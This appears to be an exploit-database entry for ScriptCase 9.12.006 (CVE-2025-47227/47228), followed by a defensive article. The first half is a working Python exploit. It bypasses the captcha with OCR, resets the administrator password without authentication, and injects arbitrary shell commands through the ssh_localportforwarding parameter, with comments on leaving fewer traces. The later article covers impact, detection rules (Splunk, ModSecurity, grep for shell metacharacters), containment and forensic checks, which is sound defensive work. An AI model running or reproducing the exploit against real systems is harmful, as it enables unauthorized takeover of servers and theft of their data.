ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
# Exploit Title: ScriptCase 9.12.006 (23) - Remote Command Execution (RCE)
# Date: 04/07/2025
# Exploit Author: Alexandre ZANNI (noraj) & Alexandre DROULLÉ (cabir)
# Vendor Homepage: https://www.scriptcase.net/
# Software Link: https://www.scriptcase.net/download/
# Version: 1.0.003-build-2 (Production Environment) / 9.12.006 (23) (ScriptCase)
# Tested on: EndeavourOS
# CVE : CVE-2025-47227, CVE-2025-47228
# Source: https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228
# Advisory: https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution
# Imports
## stdlib
import io
import random
import optparse
import re
import string
import sys
import urllib.parse
## third party
from PIL import Image, ImageEnhance, ImageFilter # pip3 install Pillow
import pytesseract # pip3 install pytesseract
import requests # pip install requests
from bs4 import BeautifulSoup # pip install beautifulsoup4
# Clean image + OCR
def process_image(input_image, output_image_path=None):
# Open the image
img = Image.open(io.BytesIO(input_image))
# Convert the image to RGB (in case it's in a different mode)
img = img.convert('RGB')
# Load the pixel data
pixels = img.load()
# Get the dimensions of the image
width, height = img.size
# Process each pixel
for y in range(height):
for x in range(width):
r, g, b = pixels[x, y]
# Change the crap background to a fixed color (letters are only black or white, and background is random color but not black or white)
if (r, g, b) != (0, 0, 0) and (r, g, b) != (255, 255, 255):
pixels[x, y] = (211, 211, 211) # Change the pixel to light grey
elif (r, g, b) == (255, 255, 255): # Change white text in black text
pixels[x, y] = (0, 0, 0) # Change the pixel to black
# Size (200, 50) * 5
img = img.resize((1000,250), Image.Resampling.HAMMING)
# Use Tesseract to convert the image to text
# psm 6 or 8 work best
# limit alphabet
# disable word optimized detection https://github.com/tesseract-ocr/tessdoc/blob/main/ImproveQuality.md#dictionaries-word-lists-and-patterns
custom_oem_psm_config = rf'--psm 8 --oem 3 -c tessedit_char_whitelist={string.ascii_letters} -c load_system_dawg=false -c load_freq_dawg=false --dpi 300' # there are only uppercase but keep lowercase to avoid false negative
text = pytesseract.image_to_string(img, config=custom_oem_psm_config)
return(text.upper().strip()) # convert false positive lowercase to uppercase, strip because leading whitespace is often added
# Step 1: Set is_page to true on the session
def prepare_session(url_base, cookies):
res = requests.get(
f'{url_base}/prod/lib/php/devel/iface/login.php',
cookies=cookies,
verify=False
)
if res.status_code == 200:
print("[+] Session prepared")
else:
print(f"[-] Failed with status code {res.status_code}")
# Random hex string of arbitrary size
def rand_hex(size):
return ''.join(random.choice('0123456789abcdef') for _ in range(size))
# Step 2: Get a captcha challenge for the session
def captcha_session(url_base, cookies):
res = requests.get(
f'{url_base}/prod/lib/php/devel/lib/php/secureimage.php',
cookies=cookies,
verify=False
)
if res.status_code == 200:
print("[+] Captcha retrieved")
return res.content
else:
print(f"[-] Failed with status code {res.status_code}")
# Step 3: Change the password with the prepared session
def reset_password(url_base, cookies, captcha_img, captcha_txt):
new_password = random.choice(string.ascii_letters).capitalize() + rand_hex(10) + str(random.randint(0,9))
email = f'{rand_hex(10)}@{rand_hex(8)}.com'
data = {
'ajax': 'nm',
'nm_action': 'change_pass',
'email': email,
'pass_new': new_password,
'pass_conf': new_password,
'lang': 'en-us',
'captcha': captcha_txt
}
res = requests.post(
f'{url_base}/prod/lib/php/devel/iface/login.php',
data=data,
cookies=cookies,
verify=False
)
if res.status_code == 200 and res.text == '{"result":"success"}':
print("[+] Password reset successfully")
print(f"[+] The new password is: {new_password}")
print(f"[+] The delcared (fake) email address was: {email}")
elif res.status_code == 200 and res.text == '{"result":"error","message":"Invalid captcha"}':
print("[-] OCR failed")
print(f"[-] Failed captcha submission was {captcha_txt}")
img = Image.open(io.BytesIO(captcha_img))
img.show()
manual_input = input("[+] Input displayed captcha to retry manually: ")
reset_password(url_base, cookies, captcha_img, manual_input)
elif res.status_code == 200 and res.text == '{"result":"error","message":"The password is incorrect."}':
print("[-] Non default password policy")
print("[-] Hardcode a password that matches it")
print(f"[-] Failed password is: {new_password}")
else:
print(f"[-] Failed with status code {res.status_code}")
print(res.text)
print('[-] Data was:')
print(data)
# Detect the deployment path of ScriptCase and produciton environment from the homepage.
# E.g. deployment path is /scriptcase/
# sc_pathToTB variable on http://10.58.8.213/ will be '/scriptcase/prod/third/jquery_plugin/thickbox/'
# ScriptCase login page => http://10.58.8.213/scriptcase/devel/iface/login.php
# Production Environment login page => http://10.58.8.213/scriptcase/prod/lib/php/devel/iface/login.php
def detect_deployment_path(homepage_url):
res = requests.get(homepage_url, verify=False) # HTTP redirections are handled automatically (not JS redirects)
if res.status_code == 200:
print("[+] Looking for deployment path in JS and computing login paths")
reg = r"var sc_pathToTB = '(.+)/prod/third/jquery_plugin/thickbox/';"
match = re.search(reg, res.text)
# compute URL without path
parsed_url = urllib.parse.urlparse(homepage_url)
homepage_root = f"{parsed_url.scheme}://{parsed_url.netloc}"
if match:
base_path = match.group(1)
print(f"[+] Deployment path found: {base_path}/")
print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php (probably not deployed on a production environment)")
print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
else: # either a website not made with ScriptCase or root redirects to the devel page
js_redirect(res)
# try to detect the devel/iface/login.php page
reg2 = r'http://www\.scriptcase\.net|doChangeLanguage|str_lang_user_first'
match = re.search(reg2, res.text)
if match: # devel page
print(f"[?] This may be the development console?")
# now try to extract path from favicon
reg3 = r'<link rel="shortcut icon" href="(.+)/devel/conf/scriptcase/img/ico/favicon\.ico"'
match = re.search(reg3, res.text)
if match: # base path found
base_path = match.group(1)
print(f"[+] Deployment path found: {base_path}/")
print(f"[+] ScriptCase login page: {homepage_root}{base_path}/devel/iface/login.php")
print(f"[+] Production Environment login page: {homepage_root}{base_path}/prod/lib/php/devel/iface/login.php")
else: # false positive, it's not devel page
print(f"[-] Failed to find deployment path, is this site made with ScriptCase?")
else: # no ScriptCase detected
print("[-] Failed to find deployment path, is this site made with ScriptCase?")
else:
print(f"[-] Failed with status code {res.status_code}")
# Try to handle JS redirect else warn and exit
def js_redirect(res):
if re.search(r'window\.location', res.text):
print('[-] JavaScript redirection detected')
print('[-] JavaScript redirection not handled (no headless browser with JS engine)')
print(f"[-] Returned page is:\n{res.text}")
print(f"[-] Last redirection URL is:\n{res.url}")
match = re.search(r"window\.location\s*=\s*['\"](.+)['\"]", res.text)
if match:
redirect_url = f"{res.url}/{match.group(1)}"
print(f"[?] Let's try again with: {redirect_url}")
detect_deployment_path(redirect_url)
else:
print('Please try again with redirect URL')
exit(1)
# Remote command execution on the system
#
# Instead of registering a new connection (admin_sys_allconections_create_wizard.php), we can just test it
# (admin_sys_allconections_test.php) so we leave less traces.
# Even if the test results in "Connection Error" / "Unable to connect", the command was stil lexecuted.
def command_injection(url_base, cookies, cmd):
data = {
'hid_create_connect': 'S',
'dbms': 'mysql',
'conn': 'conn_mysql',
'dbms': 'pdo_mysql',
'host': '127.0.0.1:3306',
'server': '127.0.0.1',
'port': '3306',
'user': rand_hex(11),
'pass': rand_hex(8),
'show_table': 'Y',
'show_view': 'Y',
'show_system': 'Y',
'show_procedure': 'Y',
'decimal': '.',
'use_persistent': 'N',
'use_schema': 'N',
'retrieve_schema': 'Y',
'retrieve_schema': 'Y',
'use_ssh': 'Y',
'ssh_server': '127.0.0.1',
'ssh_user': 'root',
'ssh_port': '22',
'ssh_localportforwarding': f'; {cmd};#',
'ssh_localserver': '127.0.0.1',
'ssh_localport': '3306',
'form_create': form_create(url_base, cookies),
'retornar': 'Back',
'concluir': 'Save',
'confirmar': 'Back',
'voltar': 'Confirm',
'step': 'sgdb2',
'nextstep': 'dados_rep'
}
res = requests.post(
f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php',
data=data,
cookies=cookies,
verify=False
)
if res.status_code == 200:
print("[+] Command executed (blind)")
else:
print(f"[-] Failed with status code {res.status_code}")
exit(1)
# Get form_create ID for command_injection()
def form_create(url_base, cookies):
res = requests.get(
f'{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php',
cookies=cookies,
verify=False
)
if res.status_code == 200:
print("[+] Parsing results to find form_create ID")
soup = BeautifulSoup(res.text, 'html.parser')
form_create = soup.css.select_one('html body.nmPage form input[name="form_create"]')
if form_create:
form_create_id = form_create.get('value')
print(f"[+] form_create ID found: {form_create_id}")
return form_create_id
else:
print("[-] No form_create ID found")
exit(1)
return res.content
else:
print(f"[-] Failed with status code {res.status_code}")
exit(1)
# Handles login
#
# Comes with a cookie as there is session fixation (cookie not renewed after login)
def login(url_base, cookies, password):
data = {
'option': 'login',
'opt_par': None,
'hid_login': 'S',
'field_pass': password,
'field_language': 'en-us'
}
res = requests.post(
f'{url_base}/prod/lib/php/nm_ini_manager2.php',
data=data,
cookies=cookies,
verify=False
)
if res.status_code == 200:
print("[+] Authentication successful")
else:
print("[-] Authentication failed")
# Exploit
if __name__ == '__main__':
help_text = """
Examples:
Pre-Auth RCE (password reset + RCE)
python exploit.py -u http://example.org/scriptcase -c "command"
Password reset only (no auth)
python exploit.py -u http://example.org/scriptcase
RCE only (need account)
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
Detect deployment path
python exploit.py -u http://example.org/ -d
"""
parser = optparse.OptionParser(usage=help_text)
parser.add_option('-u', '--base-url')
parser.add_option('-c', '--command')
parser.add_option('-p', '--password')
parser.add_option('-d', '--detect', action='store_true', dest='detect')
opts, args = parser.parse_args()
cookies = {
'PHPSESSID': rand_hex(26) # Simulate a random PHPSESSID (more stealth than an arbitrary string)
}
URL_BASE = opts.base_url
if opts.base_url and opts.command and not opts.password and not opts.detect: # Pre-Auth RCE (password reset + RCE)
prepare_session(URL_BASE, cookies)
captcha_img = captcha_session(URL_BASE, cookies)
captcha_txt = process_image(captcha_img)
reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
command_injection(URL_BASE, cookies, opts.command)
elif opts.base_url and not opts.command and not opts.password and not opts.detect: # Password reset only (no auth)
prepare_session(URL_BASE, cookies)
captcha_img = captcha_session(URL_BASE, cookies)
captcha_txt = process_image(captcha_img)
reset_password(URL_BASE, cookies, captcha_img, captcha_txt)
elif opts.base_url and opts.command and opts.password and not opts.detect: # RCE only (need account)
prepare_session(URL_BASE, cookies)
login(URL_BASE, cookies, opts.password)
command_injection(URL_BASE, cookies, opts.command)
elif opts.base_url and not opts.command and not opts.password and opts.detect: # Detect deployment path
detect_deployment_path(URL_BASE)
else:
parser.print_help()
sys.exit(1) ScriptCase 9.12.006 (23) — Pre‑Auth Remote Command Execution (RCE): Analysis, Impact, and Mitigation
This article explains the pre‑authentication Remote Command Execution (RCE) issues disclosed for ScriptCase (CVE‑2025‑47227 and CVE‑2025‑47228). It covers the technical root causes at a high level, practical impact, detection strategies, containment and remediation guidance, and defensive hardening recommendations for administrators and incident responders. The guidance focuses on mitigation and detection; it deliberately avoids any step‑by‑step exploit instructions.
Summary and high‑level overview
Two vulnerabilities reported in early 2025 affect ScriptCase deployments and can be chained to achieve remote command execution without prior authentication under some configurations. The issues combine weak password reset controls (captcha/session handling) and insufficient input sanitization of administrative interfaces that accept values used in system/SSH operations. An attacker can leverage these weaknesses to execute arbitrary commands on the host running ScriptCase when the vulnerable administrative endpoints are accessible.
- CVE‑2025‑47227 / CVE‑2025‑47228 (public disclosure and advisory produced by Synacktiv and others).
- Exploit factors: accessible production/development admin endpoints, predictable session handling, weak captcha or bypassable captcha checks, and unsanitized parameters used in subsystems like SSH forwarding.
- Primary risk: unauthenticated or low‑privileged RCE leading to full host compromise, data exfiltration, credential theft, or lateral movement.
Affected components and references
Reported advisories referenced the ScriptCase “prod” and “devel” interface pages used to manage system connections (admin interfaces). Administrators should assume any ScriptCase instance with the management/devel interfaces exposed to untrusted networks may be at risk.
- Vendor: ScriptCase — https://www.scriptcase.net/
- Public advisory (example): https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution
- Research/POC repository (for defensive review only): https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228
Why this is dangerous
Remote command execution vulnerabilities in web management consoles are high severity because they often run with the privileges of the web server user (and may be able to reach system services). Combined with exposed administrative endpoints and weak authentication or session controls, RCE can occur without valid credentials.
Impact examples include:
- Running arbitrary shell commands on the server (file theft, backdoor installation).
- Using the server as pivot point to internal networks (databases, internal APIs).
- Compromising stored project data or secret configuration files (database credentials, API keys).
Indicators of Compromise (IOCs) and detection
Detection should focus on anomalous interactions with the administrative endpoints and suspicious parameter values that contain shell metacharacters, encoded payloads, or unusual long/random strings. Centralized logging (web server, application logs, WAF), and host endpoint telemetry can reveal exploitation attempts.
- Suspicious request paths to admin/devel pages under the ScriptCase install (example path fragments): /prod/lib/php/devel/iface/ or /devel/iface/.
- Parameters frequently observed in research: names like ssh_localportforwarding, form_create, and other admin connection fields being POSTed with unusual characters.
- Webserver errors or new processes spawned shortly after requests to admin endpoints.
Example detection rules and searches (defensive only):
# Splunk (example) — find POSTs with a suspicious ssh_localportforwarding value
index=web_logs method=POST uri_path="/prod/lib/php/devel/iface/*"
| spath input=_raw
| search ssh_localportforwarding="*;*"
| table _time client_ip uri_path http_method ssh_localportforwarding
Explanation: This Splunk query looks for POST requests to the ScriptCase admin interface where the parameter ssh_localportforwarding contains a semicolon (a common shell command separator). It is a heuristic: semicolons can be legitimate in some contexts, so tune to reduce false positives.
# Generic webserver log grep (example)
grep -i "admin_sys_allconections_test.php" /var/log/nginx/access.log | grep -E "ssh_localportforwarding=.*[;&|`]"
Explanation: A simple commandline search for suspicious characters in the ssh_localportforwarding parameter. Use only for investigation on systems you own/operate; this is not an exploit.
# Example ModSecurity rule (defensive)
SecRule REQUEST_URI "@beginsWith /prod/lib/php/devel/iface/" \
"phase:2,deny,log,msg:'Potential injection attempt on ScriptCase admin interface',id:1000101,logdata:%{REQUEST_BODY}"
SecRule ARGS:ssh_localportforwarding "@rx [;&|`]" "phase:2,deny,log,msg:'Detected shell metacharacter in ssh_localportforwarding',id:1000102"
Explanation: ModSecurity rules block and log requests to the admin interface when the ssh_localportforwarding argument contains shell metacharacters. This is a stopgap mitigation; test rules in staging to prevent false positives.
Immediate containment and mitigation (recommended emergency steps)
- Isolate the instance: If possible, block external access to ScriptCase admin/devel paths via firewall or network ACLs. Restrict access to known management IPs only.
- Apply the vendor patch: Upgrade ScriptCase to the patched release as recommended by the vendor. Prioritize public‑facing installations first.
- Rotate sensitive secrets: After containment, rotate credentials accessible to the application (database credentials, API keys) and any service accounts that could be abused from the host.
- Audit accounts and sessions: Inspect user accounts and sessions for unexpected creations or logins. In particular, look for changes made via password reset functionality.
- Detect persistence: Hunt for web shells, cron jobs, suspicious system users, or outbound C2 connections from the host.
Longer‑term remediation and hardening
Address both the immediate symptom and architectural contributors so similar vulnerabilities are less likely in the future.
- Upgrade to a fixed version and maintain a patching cadence for ScriptCase and all web applications.
- Harden administrative interfaces: remove or block production exposure of developer/devel pages; place admin endpoints behind a VPN or admin‑only network segment.
- Improve session handling: ensure session fixation is prevented (regenerate session IDs on login/logout) and use secure cookie attributes (HttpOnly, Secure, SameSite).
- Harden password reset flows and CAPTCHA: use robust CAPTCHA implementations, rate limits, and multi‑factor authentication (MFA) where appropriate.
- Input validation and output encoding: validate user input server‑side and avoid using untrusted input in system calls. Use safe libraries rather than shell execution for system interactions.
- Reduce privileges: run web services with minimal privileges and restrict file system and network capabilities of the web process.
- Network segmentation: restrict localhost‑only services and block unnecessary outbound access from web servers.
Incident response playbook (high level)
- Identify scope: determine affected hosts, exposed endpoints, and time window of potential compromise.
- Collect evidence: preserve logs (web server, app logs), memory images if feasible, process lists, and network captures.
- Contain: block attack vectors (network rules, WAF), put servers in maintenance mode if public access continues to be a risk.
- Eradicate: remove malicious files, backdoors, and unauthorized accounts. Reimage if full confidence is required.
- Recover: restore from verified clean backups, re‑deploy patched application versions, and re‑issue credentials.
- Notify: follow legal and regulatory obligations for breach notifications when data exposure is confirmed.
Safe testing and verification guidance
Administrators or security teams validating remediation should do so in controlled environments only:
- Use isolated lab networks and copies of the application data; never test exploits on production systems without explicit authorization.
- Verify patches by reinstalling/upgrading a test instance and confirming previously observed suspicious requests are rejected or blocked.
- Use application security scanners or code review to ensure inputs used in system or SSH operations are sanitized or avoided.
Example forensic checks (host and network)
# Check for recent processes invoking shell commands from web user (Linux example)
ps aux | egrep "(www-data|apache|nginx).*bash|sh|python|perl"
# Check cron for suspicious entries
crontab -u www-data -l
# List recently modified files under webroot
find /var/www -type f -mtime -7 -ls
Explanation: These host‑level checks look for processes, cron jobs, or changed files that may indicate post‑exploitation activity. They are typical forensic triage steps and must be run on systems you own or administer.
Conclusion — prioritized actions
To reduce risk from these ScriptCase vulnerabilities:
- Apply vendor patches as soon as they are available and validated.
- Restrict access to admin/development interfaces and enforce strong authentication (MFA) for administrative users.
- Deploy WAF protections and monitoring rules to detect abnormal POST parameters and potential command injection attempts.
- Follow an incident response playbook, rotate secrets, and perform a thorough forensic investigation if exploitation is suspected.
Maintaining modern patching practices, network segmentation, and strong operational controls will significantly reduce the likelihood and impact of similar RCE vulnerabilities in web management consoles.